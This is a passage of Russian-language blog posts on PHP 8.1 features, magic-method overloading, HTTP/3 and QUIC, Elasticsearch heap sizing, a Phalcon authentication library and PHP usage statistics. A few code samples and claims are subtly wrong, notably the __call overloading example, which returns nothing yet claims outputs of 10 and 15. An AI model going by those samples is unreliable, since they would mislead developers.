Однако директива enable_post_data_reading=0  в PHP INI - запрещает PHP заполнять $_POST и $_FILES, оставляя таким образом значения потока php://input нетронутыми. В качестве хак-подхода, можно парсить запрос необработанного HTTP и заполнять $_POST и $_FILES массивы или объектов PSR-7 HTTP запроса. Эта информация содержит предоставленный браузером относительный путь к файлу. 

В качестве альтернативы, было бы проще постепенно улучшать взаимодействие с пользователем в веб-браузерах, используя клиентский подход JavaScript для отправки содержимого файлов и путей к файлам в отдельном поле.

Поговорим о новой версии протокола HTTP - HTTP/3, что он нам даст и чем отличается от предыдущих своих собратьев

Итак, все мы знаем что такое HTTP. Если вдруг кто забыл, HTTP, или протокол передачи в виде гипертекста, является основой Интернета и универсальным протоколом для передачи текстовых данных. Вы, несомненно, использовали его, поскольку веб-сайт, на котором вы сейчас читаете о HTTP, использует этот самый HTTP.

Немного истории HTTP

Тим Бернерс-Ли создал его в 1989 году, а в 1991 году он получил название HTTP/0.9. HTTP/0.9 был ограничен и мог выполнять только базовые функции. Он не мог возвращать ничего, кроме веб-страницы, не поддерживал файлы cookie и другие современные функции. В 1996 году был выпущен протокол HTTP/1.0, который принес некоторые новые функции, такие как POST запросы и возможность отправлять что-то, кроме веб-страницы. Однако до сегодняшнего дня было еще далеко.

HTTP/1.1 был выпущен в 1997 году и дважды пересматривался: один раз в 1999 году и один раз в 2007 году. Он принес много важных новых функций, таких как файлы cookie и сохраняющиеся соединения. Наконец, в 2015 году был выпущен протокол HTTP/2, который позволил повысить производительность, сделав такие вещи, как события отправки сервером и возможность отправлять несколько запросов за раз. HTTP/2 все еще нов и используется только чуть меньшей половины всех сайтов.

HTTP/3: новейшая версия HTTP

Здесь в игру вступает HTTP/3, HTTP/3 или HTTP поверх QUIC концептуально сильно меняет HTTP. HTTP традиционно выполняется через TCP, протокол управления передачей. Однако TCP был разработан в 1974 году, на заре Интернета. Когда TCP был первоначально создан, его авторы не могли предсказать рост Интернета. Из-за того, что TCP устарел, TCP на какое-то время ограничил HTTP как в скорости, так и в безопасности. Теперь, благодаря новому стандарту HTTP/3, HTTP больше не ограничен. Вместо TCP HTTP/3 использует новый протокол, разработанный в 2012 году Google, который называется QUIC («Квик»). Это вводит много новых функций в HTTP.

Потоки QUIC используют одно и то же соединение QUIC, поэтому для создания новых не требуются дополнительные квитирования и медленные запуски, потоки QUIC доставляются независимо, так что в большинстве случаев потеря пакетов, влияющая на один поток, не влияет на другие. Это возможно, потому что пакеты QUIC инкапсулируются поверх дейтаграмм UDP.

Использование UDP обеспечивает гораздо большую гибкость по сравнению с TCP и позволяет реализациям QUIC полностью жить в пользовательском пространстве - обновления реализаций протокола не привязаны к обновлениям операционных систем, как в случае с TCP.

Более быстрое мультиплексирование запросов

До HTTP/2 браузеры могли отправлять на сервер только один запрос за раз. Это значительно замедлило загрузку веб-сайта, потому что браузер загружал только один ресурс, например файлы стилей CSS или JavaScript. HTTP/2 представил возможность загружать более одного ресурса за раз, но TCP не был предназначен для этого. Если один из запросов не удался, TCP заставит браузер повторить все запросы. Поскольку TCP был удален из HTTP/3 и заменен на QUIC, HTTP/3 решил эту проблему. С HTTP/3 браузеру нужно только повторить неудавшийся запрос. Благодаря этому HTTP/3 работает быстрее и надежнее.

Более быстрое шифрование

HTTP/3 оптимизирует «рукопожатие» шифрования HTTP-запросов браузера. QUIC сочетает первоначальное соединение с подтверждением связи TLS, что делает его безопасным по умолчанию и более быстрым.

Стандартизация

На момент написания этой статьи HTTP/3 и QUIC не стандартизированы. Существует рабочая группа IETF, которая в настоящее время работает над проектом стандартизации QUIC. Версия QUIC для HTTP/3 немного изменена, с использованием TLS вместо шифрования Google, но она имеет те же преимущества. Спустя пять лет после того, как первый проект спецификации QUIC был представлен в IETF, у нас есть RFC 9000, QUIC: мультиплексированный и безопасный транспорт на основе UDP.

Поддержка браузера

В настоящее время Chrome поддерживает HTTP/3 по умолчанию, поскольку Google создает протокол QUIC и предлагает использовать HTTP поверх QUIC. Firefox также поддерживает протокол в версиях 88+ без флага. Safari 14 поддерживает HTTP/3, но только если установлен флаг экспериментальной функции.

Бессерверная поддержка/поддержка CDN

Пока только некоторые серверы поддерживают HTTP/3, но их доля растет. Cloudflare была одной из первых компаний, помимо Google, которая поддержала HTTP/3, поэтому их бессерверные функции и CDN совместимы с HTTP/3. Кроме того, Google Cloud и Fastly совместимы с HTTP/3. К сожалению, Microsoft Azure CDN и AWS CloudFront в настоящее время не поддерживают HTTP/3. Если вы хотите опробовать HTTP/3, QUIC.Cloud - интересный (хотя и экспериментальный) способ настроить кэширование CDN с помощью HTTP/3.

Cloudflare, Fastly и Google Cloud также имеют хорошую поддержку HTTP/3 и более готовы к работе.

Заключение

HTTP/3 все еще является экспериментальным обновлением HTTP, и, скорее всего, оно изменится. Однако QUIC и HTTP/3 - очень интересные стандарты, обещающие устранить многие недостатки предыдущих стандартов и открыть новую эру производительности в Интернете.

Что делать если elasticsearch жрет слишком много памяти

Это очень важная настройка для ElasticSearch. Чтобы этот параметр был установлен правильно, система должна хорошо контролироваться

Короче говоря, мы определяем объем памяти, который Elasticsearch будет выделять в начале, и максимальное использование памяти с помощью этой конфигурации.

Перед настройкой Heap Size я расскажу о концепции памяти Heap для правильного отслеживания размера Heap. Приложения Java используют методы «стека»(stack) и «кучи»(heap) для сохранения данных в памяти.

В режиме кучи приложение управляет использованием и очисткой памяти. В Java объекты хранятся в памяти кучи, и благодаря структурам, называемым сборщиком мусора, обеспечивается управление памятью кучи.

Что такое сборщик мусора?

В Java управление памятью выполняется в фоновом режиме с включенным JVM и сборщиком мусора. Сборщик мусора упрощает разработку приложений и сокращает время написания кода за счет автоматического управления памятью. Опять же, сборщик мусора может справиться с проблемой утечки памяти, вызванной ошибками кодирования.

Сборка мусора - это автоматизированный механизм управления памятью. он просматривает память кучи, обнаруживает используемые объекты и удаляет те, на которые нет ссылок. Пространство, занятое неиспользуемыми/несвязанными объектами, очищается из памяти, и это увеличивает доступную свободную память. Механизм, выполняющий этот процесс, называется сборщиком мусора.

Чрезмерный размер кучи может использоваться для кэширования, однако большой размер кучи может вызвать паузы в сборщике мусора. Когда сборщик мусора останавливается, возврат к конечной точке может длиться очень долго.

При длительной паузе доступ не происходит в распределенных системах, таких как Elasticsearch, поскольку узел может быть изолирован от кластера. На этом узле нет операций чтения или записи. Если узел является главным узлом, можно выбрать новый главный узел. Если узел является узлом данных, это может привести к размещению сегментов в других узлах данных. В этом случае увеличивается сетевой трафик, операции ввода-вывода на диске и нагрузка на кластер.

Вкратце, если размер кучи меньше необходимого, могут возникнуть другие проблемы, помимо ошибок памяти.

Рекомендации по уменьшению/увеличению размера "кучи" 

• Настоятельно рекомендуется, чтобы размер кучи не превышал половины общей памяти. Поэтому, если у вас 64ГБ памяти, вам не следует устанавливать размер кучи на 48ГБ
• Размер кучи не рекомендуется превышать 32ГБ
• По умолчанию Xms1g и Xmx1g составляют 1ГБ
• Чтобы изменить размер кучи JVM, то нужно отредактировать файл по пути /etc/elasticsearch/jvm.options.

################################################################
## IMPORTANT: JVM heap size
################################################################
##
## The heap size is automatically configured by Elasticsearch
## based on the available memory in your system and the roles
## each node is configured to fulfill. If specifying heap is
## required, it should be done through a file in jvm.options.d,
## and the min and max should be set to the same value. For
## example, to set the heap to 4 GB, create a new file in the
## jvm.options.d directory containing these lines:
##
## -Xms4g
## -Xmx4g
##
## See https://www.elastic.co/guide/en/elasticsearch/reference/current/heap-size.html
## for more information
##
################################################################

т.е. если вы хотите уменьшить потребление оперативной памяти, то просто выставляете, например, такие значения:

-Xms512m
-Xmx512m

Если же захочется увеличить, то вбиваем, например 4Гб:

-Xms4g
-Xmx4g

 После изменения настройки, перегрузите ES:

sudo service elasticsearch restart

Теперь можете замерить потребление Elasticsearch'ом памяти и убедиться, что настройки были сохранены.   

При работе с массивами может наступить момент, когда вам понадобится проверить, является ли рассматриваемый массив списком

Итак, когда массив квалифицируется как «список» (list)?

Массив можно назвать списком, если ключи (должны быть в форме целого числа) являются последовательными. Это означает, что если массив является ассоциативным массивом с целочисленными ключами, он не должен иметь отсутствующих смещений массива или содержать неупорядоченные ключи.

Например, возьмем для примера следующее:

$bikes = [
    0 => 'Honda',
    1 => 'Kawasaki',
    2 => 'Yamaha'
];

 Здесь мы можем вызвать массив $bikes как список, поскольку целочисленные ключи здесь находятся в правильном порядке. Но если взять:

$bikes = [
    2 => 'Honda',
    0 => 'Kawasaki',
    1 => 'Yamaha'
];

В этом случае массив $bikes не является списком, так как ключи теперь не идут по порядку.

Теперь, чтобы проверить, является ли массив списком, мы можем написать нашу собственную реализацию вот так:

function is_list(array $array): bool 
{
    $expectedKey = 0;
    foreach ($array as $i => $_) {
        if ($i !== $expectedKey) { return false; }
        $expectedKey++;
    }
    return true;
}

$bikes = [
    2 => 'Honda',
    0 => 'Kawasaki',
    1 => 'Yamaha'
];

var_dump(is_list($bikes)); // false

Или, если вы планируете перейти на PHP 8.1, для этого есть функция, которую вы можете использовать прямо из коробки.

Функция array_is_list()

В этом PR для PHP 8.1 будет представлена ​​функция array_is_list(), которую можно использовать для той же цели, о которой я говорил выше.

Итак, если мы хотим переписать наш предыдущий пример с помощью этой функции, мы можем сделать это так:

$bikes = [
    0 => 'Honda',
    1 => 'Kawasaki',
    2 => 'Yamaha'
];

var_dump(array_is_list($bikes)); // true

Вот и все! Это все, что делает эта функция.

Здесь следует отметить, что эта функция не будет правильно работать с массивами, у которых ключи, отличные от целых чисел, по очевидным причинам.

Кроме того, все, что передается в качестве аргумента в array_is_list(), не являющимся массивом, вызовет ошибку типа:

array_is_list(new stdClass());  // исключение TypeError
array_is_list(null);  // исключение TypeError

Что интересно, первоначально было предложено назвать функцию is_list(), но далее переименовано, из-за возможности конфликта имен с потенциальным типом списка. 

Команда PHP объявила о выпуске RC1 PHP 8.1! До выпуска версии 8.1.0 еще около двух с половиной месяцев (25 ноября)

RC2 планируется через две недели.

Не используйте эту версию в производстве, это ранняя тестовая версия

Что интересного в новом выпуске PHP 8.1?

PHP 8.1 - это второстепенный выпуск с новыми функциями, сфокусированными на объектно-ориентированном дизайне, типах, функциях языка и т.д. Вот некоторые из основных функций, которые появятся в PHP 8.1:

• перечисления
• файберы
• new в инициализаторах
• свойства только для чтения
• константы финального класса
• функция array_is_list ()
• функция fsync
• типы чистых пересечений
• улучшение производительности

Если вы хотите получить более подробную информацию об этих функциях (и многом другом), ознакомьтесь с постом Что нового в PHP 8.1. Также  советую ознакомиться с полным списком новых функций в документе по обновлению.

Мы увидим еще несколько релиз-кандидатов и, наконец, общедоступный выпуск примерно 25 ноября 2021 года:

Вы можете скачать исходный код PHP 8.1 RC1 со страницы загрузок.

Поговорим о перегрузке методов и свойств в PHP, зачем и нужно ли это вообще

И сразу с ходу удар под дых - хотя в документации официального сайта PHP есть специальный раздел «Перегрузка» , это ни в коем случае не является перегрузкой. Парам-пам!

Потому что, если мы проверим определение перегрузки функции или перегрузки метода, это будет звучать примерно так:

Перегрузка функций или методов - это возможность создавать несколько функций с одним и тем же именем с разными реализациями.

Проще говоря, «перегрузка означает многократное объявление функции с другим набором параметров» . Это будет выглядеть так:

function getValue($a) 
{
    return $a;
}

function getValue($a, $b) 
{
    return $a + $b;
}

echo getValue(10); // вывод "10"
echo getValue(10, 5); // должен вывести "15"

 Ну и на данный момент в PHP нет возможности сделать это. Или можно? Давай-те посмотрим.

Перегрузка в ООП

Что интересно, "Перегрузка" является одним из базовых понятий в концепции ООП, так же как и класс, объект, инкапсуляция, полиморфизм и т.д.  Что касаемо PHP, в нем периодически все таки надо что-то перегружать.

Но разные люди говорят разные вещи, кто-то, что нам не нужно в принципе перегружать в PHP, кто-то, что в PHP есть только частичная поддержка перегрузки и т.д. И каждый отчасти прав, в PHP есть путь, с помощью которого вы все же можете реализовать перегрузку.

Перегрузка в PHP

Концепция перегрузки требует магических методов,  суть метода заключается в создании динамических сущностей. Свойства и методы - это именно те сущности, которые и будут создаваться динамически с помощью перегрузки PHP. После создания объекта мы можем получить доступ к набору сущностей, то есть свойствам или методам, не определенных в рамках класса.

Магические методы начинаются с __ (двойное подчеркивание) и автоматически вызываются PHP. Кроме того, они всегда определяются внутри, а не вне класса. Различные магические методы: __get(), __set(), __ construct(), __destruct(), __call(), __callStatic(), __isset(), __unset(). Большинство магических методов будут запускаться в контексте объекта, за исключением метода __callStatic(), который используется в статическом контексте.

Типы перегрузки PHP

Перегрузку в PHP можно классифицировать как,

• Перегрузка свойств
  
• Перегрузка методов

Перегрузка свойств

Перегрузка свойств PHP позволяет нам создавать у объекта динамические свойства. Свойство, связанное с экземпляром класса и не объявленное внутри класса, считается перегруженным свойством.

Мы можем выполнять следующие операции с перегруженными свойствами в PHP.

• Установка и получение перегруженных свойств.
  
• Оценка настройки перегруженных свойств.
• Отмена настройки таких свойств.

• __set() - срабатывает при инициализации перегруженных свойств.
• __get() - срабатывает при использовании перегруженных свойств.
• __isset() - этот магический метод вызывается, когда мы проверяем перегруженные свойства с помощью функции isset()
• __unset() - аналогично, эта функция будет вызываться при использовании PHP unset() для перегруженных свойств.

Еще проще понять срабатывание этих методов в тот момент, когда свойства, к которым они будут применимы будут недоступны. Т.е. если мы попытаемся присвоить значение недоступному свойству, то как раз сработает __set(), либо наоборот попытка чтение недоступного свойства приведет к срабатыванию __get(). Надеюсь так будет понятнее.

Итак посмотрим на пример, который предназначен для динамического создания элементов массива свойств:

class Toys
{
    private $data;

    public function __set($name, $value)
    {
        $this->data[$name] = $value;
    }

    public function __get($name)
    {
        echo "Перегруженное свойство name = " . $this->data[$name] . "\r\n";
    }

    public function __isset($name)
    {
        if (isset($this->data[$name])) {
            echo "Свойство \$$name существует.\r\n>";
        } else {
            echo "Свойство \$$name не существует.\r\n";
        }
    }

    public function __unset($name)
    {
        unset($this->data[$name]);
        echo "\$$name очищен \r\n";
    }
}

$objToys = new Toys;
// сеттеры и геттеры динамических свойств 
$objToys->overloaded_property = "new";
echo $objToys->overloaded_property . "\r\n";
// Операции со значениями динамических свойств 
isset($objToys->overloaded_property);
unset($objToys->overloaded_property);
isset($objToys->overloaded_property);

//Перегруженное свойство name = new
//Свойство $overloaded_property существует.
//$overloaded_property очищен 
//Свойство $overloaded_property не существует.

В приведенном выше примере создается динамическое свойство overloaded_property. При инициализации этого динамического свойства вызывается __set() с парой имя и значение, которая инициализируется как имя и значение элемента массива свойств класса $data.

Вдобавок к этому isset() и unset() с перегруженным свойством будут запускать магические методы __isset() и __unset(). Тут все достаточно просто, перейдем к другой перегрузке. 

Перегрузка методов или функций

Если вы хотите реализовать перегрузку метода или функции в PHP, вы можете добиться этого с помощью магического метода __call() или __callStatic(). В отличие от перегрузки свойств, перегрузка метода PHP позволяет вызывать функцию как в объектном, так и в статическом контексте.

Для начала возьмем пример попроще и с явным поведением:

class Toys
{
    public function __call($name, $param)
    {
        echo "Магический метод, вызываемый при перегрузке метода ссылкой на объект\r\n";
    }

    public static function __callStatic($name, $param)
    {
        echo "Магический метод, вызываемый при перегрузке метода со статическим доступом\r\n";
    }
}

$objToys = new Toys;
$objToys->overloaded_method(); //Магический метод, вызываемый при перегрузке метода ссылкой на объект

Toys::overloaded_property(); // Магический метод, вызываемый при перегрузке метода со статическим доступом

Как видно из примера доступ к некоторому перегруженному методу с именем класса вызовет статический магический член, определенный внутри класса.

Теперь попробуем реализовать что-нибудь посложнее:

class MyClass 
{  
    public function __call($member, $arguments) 
    {
        $numberOfArguments = count($arguments);

        if (method_exists($this, $function = $member.$numberOfArguments)) {
            call_user_func_array(array($this, $function), $arguments);
        }
    }
  
    private function overloaded_method1($argument1)
    {
        return $argument1;
    }

    private function overloaded_method2($argument1, $argument2)
    {
        return $argument1 + $argument2;
    }
}

$class = new MyClass();

echo $class->overloaded_method(10); // вывод '10'
echo $class->overloaded_method(10, 5); // вывод '15'

Как видите, при вызове метода объекта overloaded_method() класса MyClass он запускает магический метод __call, поскольку вызываемый метод overloaded_method() не существует.

И далее здесь начинается магия. Как вы понимаете, у нас есть два разных метода, вызываемых overloaded_method1() и overloaded_method2() для обработки одного аргумента и двух аргументов соответственно.

Метод __call вызывает эти методы, используя функцию call_user_func_array, основанную на количестве аргументов при вызове метода overloaded_method. И вот так вы можете добиться более сложной перегрузки методов/функций в PHP.

Конечно, использовать это несколько сложно. Поскольку вам придется вручную проверять некоторые вещи и следить за тем, чтобы что-то не сломалось.

Однако, используя данный принцип и, возможно, опираясь на другие варианты использования, возможна такая форма перегрузки, при условии, что у вас есть некоторые строгие соглашения об именах в ваших функциях для их точного вызова. Как у нас  в нашем примере, overloaded_method1 и overloaded_method2. 

Напоследок

Конечно, стало бы намного проще, если бы PHP позволил нам несколько раз объявлять одну и ту же функцию, но с разными аргументами, не выполняя при этом разного рода магии.

Будем надеяться, что в будущих версиях PHP будет реализовываться такое поведение изначально.

Библиотека для создания функционала аутентификации для сайта на базе фреймворка Phalcon

Мало мальское приложение, если это не landing page или контактная визитка, обычно имеет работу с пользователями. Функционал авторизации или точнее аутентификации (обычно мы смешиваем эти понятия, что в принципе не так страшно, но в голове нужно знать различие) обычно имеют схожую реализацию.

Аутентификация

Аутентификация это процесс входа на сайт, не важно каким способом. В процессе аутентификации мы неизвестного гостя идентифицируем на сайте, после аутентификации серфинг на сайте делает уже не просто какой то рандомный IP адрес, а конкретный пользователь. Появляется кнопка для «выхода», страницы смены пароля и т.д. Вот это вот превращение анонима в известного пользователя, это процесс аутентификации.

Так что говорить «форма авторизации» по сути неправильно, на самом деле это «форма аутентификации».

Авторизация

Авторизация же, это процесс проверки какой то конкретной возможности, доступности какого либо действия для пользователя. Authorization дословно переводится с английского как «разрешение». Действие которое мы разрешаем может быть абсолютно любым. Вы самостоятельно прописываете логику по которой будете разрешать или запрещать действие пользователю, а потом в тот момент когда пользователь уже собирается выполнять какое-то действие, заложенная логика срабатывает и пользователь либо дальше продолжит действие, либо натыкается на некий запрет, не позволящий ему сделать задуманное.

Если подходить ближе к практическим примерам, то реальной «возможностью» может быть например «возможность создания статьи». Вам в контроллер прилетает POST запрос, в котором лежит содержимое статьи, и в ответ на этот запрос вам нужно добавить статью и послать «ок», либо ответить ошибкой «доступ запрещен». Вам нужно разрешить или запретить создание для пользователя, или другими словами авторизовать действие. 

Библиотека Phalcon Auth

Теперь когда вы понимаете различие в этих терминах, то можно перейти непосредственно к теме поста. Часто создавая проекты переносишь из одного в другой какие-то части кода, копируя нужный схожий функционал, так у меня часто происходит и с аутентификацией, чтобы сделать авторизацию и регистрацию пользователей на сайте.

В какой-то момент пришло осознание, что поры бы выделить всю логику в отдельную библиотеку, сказано - сделано. Итак, если вам нужно сделать аутентификацию у себя на сайте, на базе фреймворка Phalcon, встречайте Phalcon Auth.

За основу была взята система на базе Охранников (Guard) и поставщиков (Provider).  Охранники определяют, как пользователи будут проходить аутентификацию, например с помощью стандартных Сессий, хранилища Сессий и файлов Cookie или, например, с помощью токена, если это api приложение.

Провайдеры определяют, откуда будут извлекаются пользователи. По-умолчанию это конечно же Phalcon\Model и строитель запросов к базе данных.

Данная концепция используется в популярных фреймворках, поэтому и была взята за основу, т.к. позволяет гибко настраивать функционал аутентификации, с возможность добавления новых охранников и провайдеров пользователей.

Возможности Phalcon Auth

Итак, на сегодняшний день, Phalcon Auth умеет логинить пользователя с помощью сессий, кук и токена.

Можно использовать функционал долгосрочной аутентификации с помощью "Запомнить меня", либо же наоборот, позволяет единоразово аутентифицировать пользователя без записи его в сессию. 

И после удачного входа вы можете использовать получение пользователя в любом месте вашего приложения:

$this->auth->user();
//получить пользователя

$this->auth->id();
//получить id аутентифицированного пользователя

Более подробно можно прочитать в README на странице репозитория.

Регистрация, сброс пароля и пр.

Изучая подходы других людей, я видел библиотеки для авторизации Phalcon, которые включали в себя множество функций, будь то регистрация, сброс пароля, активация и пр. Но пихать все это в одну библиотеку как по мне слишком накладно, т.е. по сути что требуется от нее, получить данные от пользователя, проверить есть ли такой пользователь, запомнить его либо в сессию, либо просто отдать данные. И все, для этого и был сделан минимальный функционал для таких действий, и если кто-то будет искать в исходниках возможность сделать регистрацию, сброс пароля и пр. то такого не найдет, точнее не найдет полную реализацию, т.к. большинство из требуемого - это реализация на уровне контроллеров.

Например вот пример приложения, для понимания как работает библиотека https://github.com/sinbadxiii/phalcon-auth-example, тут максимально просто и доступно показано как можно сделать аутентификацию у себя на сайте.

Но чтобы сделать создание аутентификации, регистрации и пр. еще проще был создан репозиторий Phalcon Foundation Auth (пока работает в альфа режиме), подключив его и запустив скрипт инициализации, можно тут же пользоваться всем функционалом авторизации и регистрации, с возможностью "допиливания" нужных вещей. Библиотека предоставит вам stubs всех контроллеров, мидлваров и шаблонов.

Жду от вас Issues, т.к. пока не все оттестировано и возможно работоспособность не будет равна 100% :) но в свободное время постараюсь поскорей его допилить, так же добавив функционал сброса пароля, активации пользователя, бана и пр. 

Расскажу о такой полезной вещи, которую собирается представить PHP 8.1 - называется свойствами только для чтения

PHP как язык постоянно меняется и развивается. Это не тот язык, который был 10 лет назад. Это все потому, что основная команда PHP постоянно совершенствует мелкие вещи, которые на первый взгляд могут показаться несущественными, но после исправления/реализации могут значительно улучшить общий опыт разработчика.

По сути, свойства «только для чтения» вводятся для смягчения языковых ограничений, связанных с отсутствием возможности объявлять свойства «только для чтения» без каких-либо ошибок.

Как это есть сейчас

До сих пор, если вы хотите сделать определенное свойство доступным только для чтения, единственное, что вы могли сделать, - это сделать его приватным (private). Возьмем следующий пример:

<?php

class Book 
{
    private $author;    

    public function __construct(
        string $author
    ) {
        $this->author = $author;
    }

    public function getAuthor(): string 
    {
        return $this->author;
    }
}

$book = new Book('Борис Акунин');

echo $book->author;
//или попытаемся присвоить новое значение
$book->author = 'Сергей Лукьяненко';

// Uncaught Error: Cannot access private property Book::$author

Если мы запустим приведенный выше пример, мы получим фатальную ошибку, которая говорит Uncaught Error: Cannot access private property Book::$author.

Используя этот подход, мы, безусловно, можем сделать свойства «только для чтения», но это своего рода «хак», и самая большая проблема с созданием private свойства заключается в том, что если вы хотите получить к нему доступ вне класса, вы должны определить геттер метод.

В нашем случае, если мы хотим получить доступ к свойству author, мы можем определить метод получения в классе следующим образом

public function getAuthor(): string 
{
    return $this->author;
}

Итак, чтобы решить эту проблему, PHP 8.1 теперь изначально вводит полнофункциональные свойства только для чтения

Свойства только для чтения в PHP 8.1 

Этот RFC Никиты Попова представит возможность объявить свойство как «только для чтения» с помощью ключевого слова readlonly:

<?php

class Book 
{
    public readonly string $author; 

    public function __construct(
        string $author
    ) {
        // Legal initialization
        $this->author = $author;
    }
}

$book = new Book('Сергей Лукьяненко');

// Below will work fine
echo $book->author; // string(6) "Сергей Лукьяненко"

Как видите, использование readonly с public свойством позволяет получить доступ к свойству вне класса. Итак, больше нет необходимости использовать геттеры-методы для получения значения свойства.

Может быть заявлено только один раз

Однако здесь следует отметить одну вещь: свойство readonly может быть инициализировано только один раз и только из области, в которой оно было объявлено. Любое другое назначение или изменение свойства приведет к Error исключению:

$book = new Book('Борис Акунин');

$book->author = 'Сергей Лукьяненко'
// Error: Cannot modify readonly property Book::$author

Нет явного значения по умолчанию

Помимо этого, также невозможно указать явное значение по умолчанию для свойств только для чтения:

class Book 
{
    // Fatal error: Readonly property Book::$author cannot have default value
    public readonly string $author = 'Борис Акунин'; 
}

Использовать только с типизированными свойствами 

Модификатор readonly может быть применен только к типизированным свойствам. Причина в том, что нетипизированные свойства имеют неявное нулевое значение по умолчанию, которое считается инициализирующим назначением и может вызвать путаницу. Это можно смягчить, используя смешанный тип (mixed), который был представлен в PHP 8.0.

class Book
{
    public readonly mixed $author;
}

 Ну вот в принципе и все, что хотел сказать о новой функции в PHP 8.1, прогресс не стоит на месте, спасибо команде PHP :)

Первая ежегодная статистика 2021 используемых версий PHP от Packagist

Небольшое замечание по методологии сбора статистики - следует понимать, что данная статистика несовершенна, поскольку она просто представляет собой образец некоторого подмножества пользовательской базы PHP. Для ее составления, в журналах packagist.org анализируется есть ли кем-то установленный Composer за последний месяц. В свою очередь Composer отправляет версию PHP, с которой он работает, в заголовке User-Agent, поэтому Packagist может использовать эту информацию, чтобы увидеть с какими версиями PHP люди используют Composer. Среды CI исключаются из соображений максимальной эффективности.

Статистика использования PHP

Май 2021 г.

Как можно заметить 7.4 продолжает расти, несмотря на то, что процент его использования итак высок , в то время как PHP 8 хоть и работает нормально, но скорость его принятия составляет лишь половину от предыдущих выпусков 7.x. По моему опыту, обновление до него определенно сложнее, чем обновление до второстепенного выпуска, в основном из-за того, что некоторые зависимости отстают в поддержке PHP 8, но оно того стоит, так что я бы советовал людям скорее продвигаться вперед на следующую версию!

Вы можете легко выполнить базовый тест на предмет того, поддерживают ли ваши зависимости PHP 8, используя конфигурацию платформы Composer, запустив, например:

composer config platform.php 8.0.5

# Checks whether latest versions of your dependencies (according to your
# version constraints) allow PHP 8
composer update --dry-run         

# Checks whether current versions of your deps allow PHP 8
composer update nothing --dry-run 

Если это пройдет, вы можете попробовать выполнить обновление без него с помощью --dry-run и запустить свой набор тестов. Если вы получаете ошибки, вам может потребоваться проверить, существует ли новая версия для этих зависимостей, или отправить создателям пакетов PR/issue о поддержке PHP 8.

Не забудьте вернуть изменения composer.json, когда закончите данные тесты. Вот сводная диаграмма, охватывающая все наблюдения версий за последние семь лет. 

Требования PHP в пакетах

Второй набор данных - это то, какие версии требуются для пакетов PHP, представленных на Packagist.org. Проверяется только выражение require в их текущей ветке по умолчанию, чтобы узнать каковы требования, а набор данных включает только пакеты, которые были зафиксированы в прошлом году, чтобы исключить все проекты EOL, поскольку они не обновляют свои требования.

Требования PHP - последние ветки по умолчанию - май 2021 г. (+/- разница с ноября 2020 г.)

Как и в прошлый раз, версии 7.3/7.4 продолжают набирать обороты, PHP 8 также имеет неплохой старт. Однако самой используемой версией PHP по-прежнему является 7.1. Согласно приведенным выше диаграммам, я бы сказал, что 7.3 по-прежнему является хорошим вариантом для любой библиотеки, которая хочет поддерживать поддержку большинства пользователей, но 7.4 предлагает вам приятные функции и почти на 50% адаптирована, так что это допустимый вариант для нового кода. Процент использование PHP 8 все еще слишком низкий, и вероятно, останется таковым до выпуска Ubuntu 22.04.

Требование PHP 7.2+ охватывает ~ 90% пользовательской базы прямо сейчас, поэтому требовать меньшей версии уже больше нет необходимости,  Composer 2.2, выходящий позже в этом году, скорее всего, потребует этого. Кстати, если вы не используете Composer 2, вам действительно стоит подумать об обновлении!

Если вы новичок в веб-программировании, возможно стоите на распутье и сомневаетесь куда двигаться дальше, то вам определенно стоит почитать этот пост

Так же, как в 2020 и 2019 годах подведем итоги о том, стоит ли изучать PHP в 2021 году.

Как я говорил в предыдущих постах: PHP уже не тот язык, которым был десять лет назад, и мы все очень благодарны за это. Это достаточно быстрый и надежный язык, используемый для создания масштабных приложений. Итак, давайте обсудим некоторые из наиболее заметных изменений PHP за последний год для языка и сообщества.

PHP 8 и дальше

Новая основная версия PHP 8 появилась в конце прошлого года. Я много писал постов по этой теме, и не буду повторять все это здесь. В принципе все как обычно, производительность только улучшается, и тесты это доказывают.

Есть JIT, который, улучшает производительность некоторых проектов, а также предварительная загрузка, которая имеет в целом положительное влияние, если вы не используете shared хостинг.

Я думаю, что такой функционал, как атрибуты (также известные как «аннотации»), именованные аргументы и объявляемые свойства в конструкторе также заслуживают упоминания, поскольку они определенно способствовали тому, что PHP 8 стал таким замечательным выпуском.

Тем временем основная команда уже работает над следующей версией PHP 8.1, которая будет выпущена где-то к концу 2021 года. На данный момент наиболее важными функциями являются перечисления (Enum) и файберы (Fiber).

Год за годом основной команде удается представить сообществу новый стабильный выпуск, наполненный множеством функций и качественных улучшений. Путь обновления также не так уж и сложен. Я уже обновил некоторые из моих собственных проектов с PHP 7.4 до PHP 8, и это заняло от 30 до 60 минут на проект. На самом деле нет никаких веских причин оставаться на старых версиях!

Система типов PHP

Когда дело доходит до типов, есть очень интересные новости: перечисления будут добавлены в PHP 8.1 . Вдобавок к этому мы также видели, как некоторые разработчики инструментов статического анализа внесли свой вклад в исходный код PHP, разместив свой первый RFC. Это добавляет тип возврата - never, полезное дополнение для статического анализа.

Говоря об инструментах статического анализа, PhpStorm добавил встроенную поддержку Psalm и PhpStan , что является большим шагом на пути к более широкому применению.

К сожалению, дженерики по-прежнему не поддерживаются. Есть несколько серьезных препятствий этому, особенно с учетом того, что мы все еще имеем дело с языком с динамической типизацией. О возникших проблемах Никита Попов написал здесь. А вот, например, автор блога stitcher.io Брент описал подход, который был бы простым выходом: поддерживать дженерики, не во время выполнения, а полагаться на статический анализ. Это так же потребует изменения мышления в сообществе PHP в целом. Может быть, однажды это станет жизнеспособным вариантом, но пока что нет.

Асинхронный PHP

Буквально недавно были большие новости: PHP получает корутины, также известные как "зеленые потоки" - в PHP 8.1!  Хотя файберы - так их называют - могут не так уж и сильно изменить правила игры, как кажется на первый взгляд .

Несмотря на то, что сами файберы могут быть лишь маленькой шестеренкой в ​​том, что является большой асинхронной машиной, RFC снова вызвал интерес в асинхронном сообществе, чему мы можем только радоваться. Популярность асинхронных фреймворков, таких как Amphp и ReactPHP, растет, и недавно тот же Laravel объявил о встроенной поддержке Swoole и RoadRunner.

Composer 2.0

Ну  и конечно же, нельзя не упомянуть о новом выпуске Composer, де-факто стандартный менеджер пакетов. В октябре 2020 года вышел новый основной выпуск: Composer 2.0 . Эта версия поставляется с несколькими улучшениями UX, но, что наиболее важно, в ней значительно улучшена производительность, иногда даже утроенная при чистой установке. И это очень заметно на боевых проектах. Если вы до сих пор не обновились, советую не тянуть, прирост скорости работы оооочень заметен.

